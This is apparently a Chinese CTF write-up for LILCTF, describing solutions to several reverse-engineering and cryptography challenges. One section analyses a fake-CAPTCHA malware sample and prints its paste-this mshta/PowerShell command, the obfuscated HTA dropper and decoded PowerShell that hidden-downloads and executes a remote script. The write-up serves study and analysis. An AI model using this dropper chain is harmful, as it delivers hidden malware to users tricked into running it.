LILCTF-Re&Crypto
好精彩的比赛😀虽然过程很艰难,收获还是很大的
Reverse
ARM ASM
apk先用jadx分析
发现check函数在native层,并且找到了密文,解压分析ez_asm_hahaha.so
分析check函数逻辑:首先验证输入字符数是否为48,
第一次使用表 t对输入字节进行重排列,将重排列后的结果与表 t进行异或并且每次循环t与i进行异或,
第二次位旋转,每三字节一组,第一字节循环左移3位,第二字节循环右移1位,第三字节不变
第三次进行自定义base64编码
完整解题脚本:
1 | import base64 |
1’M no7 A rO6oT
很有趣的恶意脚本分析
打开靶机按一下发现复制以下内容
1 | powershell . \*i*\\\\\\\\\\\\\\\*2\msh*e http://challenge.xinshi.fun:49037/Coloringoutomic_Host.mp3 http://challenge.xinshi.fun:49037/Coloringoutomic_Host.mp3 # ✅ Ι am nοt a rοbοt: CAPTCHA Verification ID: 10086 |
在http://challenge.xinshi.fun:49037/Coloringoutomic_Host.mp3文件中发现一段js代码
1 | <script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = 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,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script> |
有混淆,写脚本还原一下
1 | SK=102,UP=117,tV=110,Fx=99,nI=116,pV=105,wt=111,RV=32,wV=82,Rp=106,kz=81,CX=78,GH=40,PS=70,YO=86,kF=75,PO=113,QF=41,sZ=123,nd=118,Ge=97,sV=114,wl=104,NL=121,Ep=76,uS=98,Lj=103,ST=61,Ix=34,Im=59,Gm=101,YZ=109,Xj=71,Fi=48,dL=60,cX=46,ho=108,jF=43,Gg=100,aV=90,uD=67,Nj=83,US=91,tg=93,vx=45,xv=54,QB=49,WT=125,FT=55,yN=51,ff=44,it=50,NW=53,kX=57,zN=52,Mb=56,Wn=119,sC=65,Yp=88,FF=79; |
还原出来
1 | function ioRjQN(FVKq){var ohyLbg= "";for (var emGK = 0;emGK < FVKq.length; emGK++){var ndZC = String.fromCharCode(FVKq[emGK] - 601);ohyLbg = ohyLbg + ndZC}return ohyLbg};var ohyLbg = ioRjQN([713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720, 633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717, 702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692, 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640, 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702, 650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700, 702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699, 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649, 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658, 649, 658, 699, 698, 654, 698, 651, 698, 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692, 668, 712, 711, 719, 702, 715, 717, 694, 659, 659, 685, 712, 667, 722, 717, 702, 641, 637, 696, 647, 687, 698, 709, 718, 702, 645, 650, 655, 642, 633, 646, 699, 721, 712, 715, 633, 640, 651, 649, 653, 640, 642, 633, 726, 642, 633, 646, 707, 712, 706, 711, 633, 640, 640, 660, 639, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 649, 645, 652, 642, 633, 637, 670, 671, 685, 670, 647, 684, 718, 699, 716, 717, 715, 706, 711, 704, 641, 652, 642]);var emGK = ioRjQN([688,684,700,715,706,713,717,647,684,705,702,709,709]);var ioRjQN = new ActiveXObject(emGK);ioRjQN.Run(ohyLbg, 0, true); |
还是很混淆,再解密一下😣
1 | enc1 = [688, 684, 700, 715, 706, 713, 717, 647, 684, 705, 702, 709, 709] |
出来的是
1 | WScript.Shell |
还是看不懂🫠
1 | import re |
解出来的是
1 | iexStart-Process "$env:SystemRoot\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ArgumentList '-w','h','-ep','Unrestricted','-Command',"Set-Variable 3 'http://challenge.xinshi.fun:46895/bestudding.jpg';SI Variable:/Z4D 'Net.WebClient';cd;SV c4H (.`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member)[2].Name).Invoke(`$ExecutionContext.InvokeCommand.((`$ExecutionContext.InvokeCommand|Get-Member|Where{(GV _).Value.Name-clike'*dName'}).Name).Invoke('Ne*ct',1,1))(LS Variable:/Z4D).Value);SV A ((((Get-Variable c4H -ValueO)|Get-Member)|Where{(GV _).Value.Name-clike'*wn*d*g'}).Name);&([ScriptBlock]::Create((Get-Variable c4H -ValueO).((Get-Variable A).Value).Invoke((Variable 3 -Val))))"; |
意思是把http://challenge.xinshi.fun:46895/bestudding.jpg文件下载下来并执行
1 | ('(' | % { $r = + $() } { $u = $r } { $b = ++ $r } { $q = ( $r = $r + $b ) } { $z = ( $r = $r + $b ) } { $o = ($r = $r + $b ) } { $d = ($r = $r + $b ) } { $h = ($r = $r + $b ) } { $e = ($r = $r + $b ) } { $i = ($r = $r + $b ) } { $x = ($q *( $z) ) } { $l = ($r = $r + $b) } { $g = "[" + "$(@{ })"[$e ] + "$(@{ })"[ "$b$l" ] + "$(@{ } ) "[ "$q$u" ] + "$?"[$b ] + "]" } { $r = "".("$( @{} ) "[ "$b$o" ] + "$(@{}) "[ "$b$h"] + "$( @{ } )"[$u] + "$(@{} )"[$o] + "$? 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" | .$r |
这不是图片而是伪装的恶意powershell脚本,试了很多办法但还是没解密出,在虚拟机运行发现机器10分钟后自动关机并且有弹窗😣
于是在云沙箱再运行,终于成功了😭
obfusheader.h
混淆的威力如此大 https://github.com/ac3ss0r/obfusheader.h
没有好办法,动态调试
先把一堆花指令去除
1 | import ida_bytes |
先找到一些关键的字符串下断点
这里输入字符串,字符串就存在byte_7FF698C0A040中,开始跟踪
前几次动调发现输入的字数不对会输出“flag is too long!”或”flag is too short!”,最后猜出来flag长度是40
很久之后找出第一次加密逻辑
每两个字节一组与16位随机数异或,可以把生成的随机数记录下来
很久之后找出第二次加密逻辑
将每个字节的前后四位交换顺序
很久之后找出第三段加密逻辑
逐字节按位取反
加密完成后终端会打印“Encryption done, time to compare!”
接下来找密文数组
但是现在的密文并不是真正的,他需要经过一些变化才能得到
得到真正的密文
1 | 0x5C, 0xAF, 0xB0, 0x1C, 0xFC, 0xef, 0xc7, 0x8D, 0x1, 0xcf, |
完整的解密脚本
1 | def encode(ciphertext, xor_key): |
Qt_Creator
动调,只要下对断点就很简单了
这里是flag正确的逻辑
这里是与flag比较函数
进入这个函数
发现这里校验flag长度是否为0x25,否则就退出,重新输入
然后flag就出现了
Oh_My_Uboot
##########
第一次尝试逆向iot,虽然做了一天还是没做出来
过段时间可以复现
##########
Crypto
ez_math
先分析是怎么加密的
先把flag括号里的内容分为两个大整数lambda1和lambda2
生成一个512位的素数p作为有限域的模数,生成两个128位素数的二维向量v1和v2
矩阵A由v1和v2作为行向量构成,矩阵B由v1乘以lambda1和v2乘以lambda2构成
C = A⁻¹ × B,因为B是A的每行分别乘以不同λ值得到的,这个运算实际上会得到一个对角矩阵,对角线元素就是lambda1和lambda2
但是C并不是对角矩阵,求解特征值,矩阵 C的特征值 λ 满足:λ2−tr(C)λ+det(C)=0
tr(C) = C[0][0] + C[1][1]
(迹)det(C) = C[0][0] * C[1][1] - C[0][1] * C[1][0]
(行列式)
完整脚本:
1 | from Crypto.Util.number import long_to_bytes |
mid_math
分析题目给的加密过程
- 参数生成:
- 生成一个64位的素数 p,并定义在 GF(p)下的运算
- 生成一个随机的密钥 key,范围在 2^62 到 p之间
- 生成五个64位的素数向量
v1, v2, v3, v4, v5
- 生成四个64位的素数
a, b, c, d
,以及e = 0
- 矩阵构造:
- 构造矩阵
A
,其行向量为v1, v2, v3, v4, v5
- 构造矩阵
B
,其行向量为v1*a, v2*b, v3*c, v4*d, v5*e
- 计算
C = A.inverse() * B
- 计算
D = C ** key
- 构造矩阵
- 加密:
- 将 key转换为字节并填充到16字节,作为AES的密钥
- 使用AES ECB模式加密填充后的 flag
所以现在我们要恢复key,然后解密msg
C = A.inverse() * B,它的特征值就是{a,b,c,d,0} ,D=C^key,所以它的特征值是 {a^key,b^key,c^key,d^key,0}
eigens = C.eigenspaces_right() 对 C 做右特征分解,得到每个特征值 λ 及其对应的特征空间。这些 λ 应该就是 a,b,c,d,0,然后利用这些特征向量去作用在 D 上
Dv = D * v mu = Dv[i] / v[i]
这样得到的 μ 就是 D 在同一个特征向量上的特征值,配对出 (λ, μ) = (λ, λ^key)
解μ≡λ^key(modp),找到两种方法:
1.以 λ 为底直接做离散对数key≡logλ(μ)(modn),拿到多对(λi,μi)就得到多条同余
key≡ki ( mod ni),再用 CRT合并,找出符合区间的key值
2.换到群的一个生成元 g 上,得到的是一条弱一些的同余(模数是 (p−1)/d)。对多对 (λ,μ)得到多条同余,用广义 CRT合并,找出符合区间的key值
完整脚本
1 | from sage.all import * |
END👍